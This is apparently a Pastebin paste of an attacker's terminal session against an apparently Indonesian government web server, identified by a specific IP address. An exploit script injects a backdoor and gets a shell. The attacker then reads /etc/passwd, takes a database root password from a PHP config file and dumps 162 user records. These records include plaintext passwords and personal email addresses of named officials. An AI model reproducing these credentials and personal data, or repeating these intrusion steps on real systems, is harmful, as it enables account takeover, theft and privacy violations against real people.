Advertisement
RussX9

test scan

Aug 2nd, 2014
515
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.82 KB | None | 0 0
  1. [Root@localhost ~]$ cd Data
  2. [Root@localhost Data]$ perl depkominfo.pl -h 114.31.243.136 -p 6666
  3.  
  4. [+] connecting target 114.31.243.136:6666
  5. [+] exploiting in progress...
  6. [+] injecting a backdoor
  7. [!] w00t! yOu g0t shell!
  8. Warning: forward host lookup failed for ip-243-136.platinum.net.id: h_errno 11004: NO_DATA
  9. ip-243-136.platinum.net.id [114.31.243.136] 6666 (?) open
  10.  
  11. $ pwd; id; uname -a
  12. /var/www/html/
  13. uid=48(apache) gid=48(apache) groups=48(apache)
  14. Linux system.clearos.lan 2.6.18-194.8.1.v5PAE #1 SMP Thu Jul 15 02:01:47 EDT 2010 i686 i686 i386 GNU/Linux
  15.  
  16. $ w
  17. 0:59:13 up 13 days, 17:19, 1 user, load average: 0.16, 0.26, 0.26
  18. USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
  19. clearcon tty1 - 03Agu14 13days 0.00s 0.00s -bash8
  20.  
  21. $ cat /etc/passwd
  22. root:x:0:0:root:/root:/bin/bash
  23. bin:x:1:1:bin:/bin:/sbin/nologin
  24. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  25. adm:x:3:4:adm:/var/adm:/sbin/nologin
  26. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  27. sync:x:5:0:sync:/sbin:/bin/sync
  28. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  29. halt:x:7:0:halt:/sbin:/sbin/halt
  30. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  31. news:x:9:13:news:/etc/news:
  32. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  33. operator:x:11:0:operator:/root:/sbin/nologin
  34. games:x:12:100:games:/usr/games:/sbin/nologin
  35. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  36. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  37. nobody:x:99:99:Nobody:/:/sbin/nologin
  38. clamav:x:46:46:Clam AntiVirus:/tmp:/sbin/nologin
  39. mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
  40. pcap:x:77:77::/var/arpwatch:/sbin/nologin
  41. nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
  42. vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
  43. ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
  44. ntp:x:38:38::/etc/ntp:/sbin/nologin
  45. dbus:x:81:81:System message bus:/:/sbin/nologin
  46. suva:x:100:101:Suva:/var/lib/suva:/sbin/nologin
  47. apache:x:48:48:Apache:/var/www:/sbin/nologin
  48. webconfig:x:101:102:Webconfig:/var/webconfig:/bin/false
  49. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  50. avahi:x:70:70:Avahi daemon:/:/sbin/nologin
  51. kolab:x:414:414::/var/lib/kolab:/sbin/nologin
  52. clearconsole:x:415:99:ClearOS Console:/var/lib/clearconsole:/bin/bash
  53. haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
  54. flexshare:x:351:351::/var/flexshare:/sbin/nologin
  55.  
  56. $ head index.php
  57. <?php
  58. include_once('inc.global.php');
  59. include_once('inc.function.php');
  60. ?>
  61. <!DOCTYPE html PUBLIC "-W3CDTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  62. <html xmlns="http://www.w3.org/1999/xhtml">
  63. <head>
  64. <meta name="robots" content="INDEX, FOLLOW"/>
  65. <meta name="y_key" content="10e3a45dfda257b8" />
  66. <meta name="description" content="<?php echo TITLE ?>" />
  67.  
  68. $ tail inc.global.php
  69. define('DB_HOST', 'localhost');
  70. define('DB_USER', 'root');
  71. define('DB_PASS', '123qwe');
  72. define('DB_NAME', 'portal_bip');
  73.  
  74. $conn = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die(mysql_error());
  75. mysql_select_db(DB_NAME);
  76. mysql_query("SET lc_time_names = 'id_ID'");
  77.  
  78. ?>
  79.  
  80. $ mysql -u root -p
  81. Welcome to the MySQL monitor. Commands end with ; or \g.
  82. Your MySQL connection id is 156556
  83. Server version: 5.0.77 Source distribution
  84.  
  85. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  86.  
  87. mysql> show databases;
  88. +--------------------+
  89. | Database |
  90. +--------------------+
  91. | information_schema |
  92. | mysql |
  93. | newsroom_ukp4 |
  94. | portal_bip |
  95. | test |
  96. +--------------------+
  97. 5 rows in set (0.00 sec)
  98.  
  99. mysql> use portal_bip
  100. Reading table information for completion of table and column names
  101. You can turn off this feature to get a quicker startup with -A
  102.  
  103. Database changed
  104. mysql> show tables;
  105. +----------------------+
  106. | Tables_in_portal_bip |
  107. +----------------------+
  108. | level |
  109. | location |
  110. | maxnews |
  111. | mc_album |
  112. | mc_image |
  113. | mc_news |
  114. | mc_update |
  115. | media_center |
  116. | office_site |
  117. | subcategory |
  118. | t_forum_category |
  119. | t_forum_post |
  120. | t_forum_topic |
  121. | t_forum_user |
  122. | tbanner |
  123. | tcategory |
  124. | tcomment |
  125. | tcontent |
  126. | tevent |
  127. | tguestbook |
  128. | theadline |
  129. | timagealbum |
  130. | timagepicture |
  131. | tlevel |
  132. | tlink |
  133. | tmedia |
  134. | tmemberlog |
  135. | tmenu |
  136. | tnews |
  137. | tnews_category |
  138. | tnews_content |
  139. | tnews_deleted |
  140. | tnews_lock |
  141. | tpoll |
  142. | tpoll_choice |
  143. | tproduct |
  144. | tproduct_list |
  145. | tpsa |
  146. | tpubliclog |
  147. | tsoal |
  148. | tsoal_log |
  149. | usergroup |
  150. | users |
  151. | vmaxnews |
  152. +----------------------+
  153. 44 rows in set (0.00 sec)
  154.  
  155. mysql> show columns from users;
  156. +-------------+--------------+------+-----+---------+----------------+
  157. | Field | Type | Null | Key | Default | Extra |
  158. +-------------+--------------+------+-----+---------+----------------+
  159. | autoNo | int(11) | NO | PRI | NULL | auto_increment |
  160. | idGroup | int(11) | NO | | NULL | |
  161. | levelId | int(11) | NO | | NULL | |
  162. | districtId | int(11) | NO | | NULL | |
  163. | loginId | varchar(50) | NO | | NULL | |
  164. | password | varchar(50) | NO | | NULL | |
  165. | username | text | NO | | NULL | |
  166. | birthDate | date | NO | | NULL | |
  167. | photo | varchar(100) | NO | | NULL | |
  168. | address | text | NO | | NULL | |
  169. | phone | varchar(100) | NO | | NULL | |
  170. | mob_phone | varchar(20) | NO | | NULL | |
  171. | email | varchar(100) | NO | | NULL | |
  172. | userBio | text | NO | | NULL | |
  173. | createdBy | varchar(100) | NO | | NULL | |
  174. | createdDate | datetime | NO | | NULL | |
  175. | updatedBy | varchar(100) | NO | | NULL | |
  176. | updatedDate | datetime | NO | | NULL | |
  177. +-------------+--------------+------+-----+---------+----------------+
  178. 18 rows in set (0.00 sec)
  179.  
  180. mysql> select loginId,password,Username from users;
  181. +-----------------+----------------+------------------------------------------------+
  182. | loginId | password | username |
  183. +-----------------+----------------+------------------------------------------------+
  184. | admin | 123qwe!@# | admin@depkominfo.go.id |
  185. | reporter | firmans | firman.kominfo@gmail.com |
  186. | mcenrekang | 123 | |
  187. | mcbima | 123 | |
  188. | mcjeneponto | 123 | |
  189. | mcmakassar | 123 | |
  190. | mcbitung | 123 | |
  191. | mcbiaknumfor | 123 | |
  192. | mcsultenggara | 123 | heryati82@gmail.com |
  193. | mcprovgorontalo | angkatan1 | tanthy.ganra@gmail.com, tanthy_humas@yahoo.com |
  194. | apoet | 123 | apoet@apoet.com |
  195. | choirul | 123456 | choirul.zone@gmail.com |
  196. | vina | 123456 | vina_falah@hotmail.com |
  197. | redpel | 123456 | redpel@redpel.com |
  198. | redaktur | 123456 | redaktur@email.com |
  199. | mcbanten | p3nd3k4rb4nt3n | infopublik@bantenprov.go.id |
  200. | ahmed | 123456 | |
  201. | repbanten | 123qwe!@# | |
  202. | mcyogya | 123qwe!@# | |
  203. | levi | jator | syahrina.pahlevi@yahoo.co.uk |
  204. | r_mustakim | POLHUKAM | r.mustakim@ymail.com |
  205. | mcaceh | 1234 | |
  206. | baheramsyah | amelia | baeng_17@yahoo.com |
  207. | masfardi | 123 | fardi_55@yahoo.co.id |
  208. | yudirahmat | R4hm4t | yudi62@yahoo.com, yudirahmat@gmail.com |
  209. | astra | 1104 | astrakominfo@yahoo.co.id |
  210. | Tomo | sutomosuaidah | tomo_1531@yahoo.co.id |
  211. | azwar | 100160 | azw4r_bdg@yahoo.co.id |
  212. | g_suranto | 123 | suranto_g@yahoo.co.id |
  213. | goenawan | Go3nawan | rgoenawan@yahoo.com |
  214. | sinar_goro | 123 | g1g1t11@yahoo.co.uk, nakedra@gmail.com |
  215. | eka_yona | 4534638 | gagak_2004@yahoo.com |
  216. | firmansyah | fuck | firman.kominfo@gmail.com |
  217. | wandi | jakarta123 | wandibip@gmail.com |
  218. | ismadi | Belvin45 | ismadi.amrin@yahoo.co.id |
  219. | juliah | iloveumom61 | julia_ahad@yahoo.com |
  220. | dian_t | 123 | enit_13@yahoo.co.id |
  221. | bakohumas | 123456 | |
  222. | ahmed | 123 | ahmedsw@hotmail.com |
  223. | agus_s | asb | agussbudiawan@yahoo.com |
  224. | gusti | cecile | goes_dry@yahoo.com |
  225. | tobari | 123 | |
  226. | soemarno | 123 | soemarno52@yahoo.com |
  227. | nusantara | 123 | |
  228. | report | 123 | |
  229. | mcpariaman | 13579 | |
  230. | mc_agam | 1234 | |
  231. | mcbengkulu | 123 | |
  232. | mcpalembang | inf0rk0m21 | febrianazhar@yahoo.com |
  233. | mcsingkawang | 123 | |
  234. | mcsabang | 123 | |
  235. | mckuburaya | 123 | |
  236. | mc_museumtmii | muspen2004 | yuri.a.waspodo@gmail.com |
  237. | mckalteng | amadeo | pey_budiman@yahoo.co.id |
  238. | mckotajambi | 123 | |
  239. | mcpekanbaru | 123 | |
  240. | mcpelalawan | 123 | |
  241. | mckaro | kabkaro2011 | kominfo@karokab.go.id |
  242. | mcbatanghari | 123 | |
  243. | mctulangbawang | 140784 | skin_forever2000@yahoo.com |
  244. | mcmusibanyuasin | m1u2b3a4bisa | kominfomuba@gmail.com |
  245. | mcdeliserdang | 123 | |
  246. | mcagam | MC AGAM | agam.mediacenter@gmail.com |
  247. | mcnunukan | 123 | |
  248. | mctanahdatar | 123 | |
  249. | mckalsel | 123 | |
  250. | mcsumbar | 123 | |
  251. | mcmetro | 123 | |
  252. | mcmuaraenim | k0M1nf0 | |
  253. | mckutai | 123 | |
  254. | mcbandaaceh | 123 | |
  255. | mcsampit | 123 | |
  256. | mc_kabgorontalo | 123 | |
  257. | mc_provjambi | 123 | |
  258. | mc_provbabel | 123 | |
  259. | mcbanjarmasin | 123 | |
  260. | mcbatam | 123 | |
  261. | mcbalikpapan | 123 | |
  262. | mcpadang | 13579 | |
  263. | mc_kabindramayu | 123 | humas@indramayukab.go.id |
  264. | mc_karangasem | 123 | |
  265. | s.pahlevi | jatoreko | syahrina.pahlevi@yahoo.co.uk |
  266. | mcparepare | 123 | |
  267. | mcsorong | 123 | |
  268. | mcbulukumba | 123 | |
  269. | mcmatenggara | 123 | |
  270. | mcpolman | 123 | |
  271. | mcmanokwari | 123 | |
  272. | mcbolaang | 123 | |
  273. | mcbelu | 123 | |
  274. | mcsumbawabar | 123 | |
  275. | mcsulteng | 123 | |
  276. | mcmaluku | 123 | |
  277. | mcntt | 123 | |
  278. | mcpapua | 123 | |
  279. | mcttu | 123 | |
  280. | mcmanado | 123 | |
  281. | mcposo | 123 | |
  282. | mcmerauke | 123 | |
  283. | mcsinjai | 123 | |
  284. | mckuningan | 123 | |
  285. | mcdemak | 123 | |
  286. | mcsurakarta | 123 | |
  287. | mcbekasi | 123 | |
  288. | mcmalang | 123 | |
  289. | mcbandung | 123 | |
  290. | mcblitar | 123 | |
  291. | mcpacitan | 123 | |
  292. | mckarangasem | 123 | |
  293. | mcdkijakarta | 123 | |
  294. | mcjatim | 123 | |
  295. | mctasik | 123 | |
  296. | mcsumenep | 123 | |
  297. | mcsubang | 123 | |
  298. | mckulonprogro | 123 | |
  299. | mcbogorkab | 123 | |
  300. | mcsidoarjokab | 123 | |
  301. | mctangerangkab | 123 | |
  302. | mcpekalongan | 123 | |
  303. | mccirebonkab | 123 | |
  304. | mcblora | 123 | |
  305. | mcjember | 123 | |
  306. | mckarawang | 123 | |
  307. | mccianjur | 123 | |
  308. | mcbojonegoro | 123 | |
  309. | mcmagetan | 123 | |
  310. | mckaranganyar | 123 | |
  311. | mcbali | 123 | |
  312. | mcjateng | 123 | |
  313. | mcsurabaya | 123 | |
  314. | mcsalatiga | 123 | |
  315. | mcsemarang | 123 | |
  316. | mcmadiun | 123 | |
  317. | mccilacap | 123 | |
  318. | mcbuleleng | 123 | |
  319. | mcgkidul | 123 | |
  320. | mcbadung | 123 | |
  321. | mckwarnas | 123 | |
  322. | mcmuslimatnu | 123 | |
  323. | mcsumut | 123 | |
  324. | mckepri | 123 | |
  325. | mckotimkab | 123 | |
  326. | mcmatengbakab | 123 | |
  327. | mth | mth | mthidayat@depkominfo.go.id |
  328. | yusri | 123 | |
  329. | mcprovgorontalo | 123 | |
  330. | mckaltim | 123 | |
  331. | mckalbar | 123 | |
  332. | mcprovbabel | 123 | |
  333. | mcprovbengkulu | 123 | |
  334. | mcjabar | 123 | |
  335. | mcyogya | munsif | msa@jogjaprov.go.id |
  336. | mclampung | l4mpun6 | |
  337. | mcmalut | 123 | |
  338. | mcsulbar | 123 | |
  339. | mcsulsel | 123 | |
  340. | mcsulut | martadinata35 | yennymaegoda@yahoo.co.id |
  341. | mcnad | 123 | |
  342. | mcprovriau | dkipdemc | muslimalai@yahoo.com |
  343. | mcntt | 123 | |
  344. | mcntb | 123 | |
  345. | pkl | 1234 | |
  346. +-----------------+----------------+------------------------------------------------+
  347. 162 rows in set (0.00 sec)
  348.  
  349. mysql> exit
  350.  
  351. PLEASE NOT BULLY ME BTW IM LAMMER :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement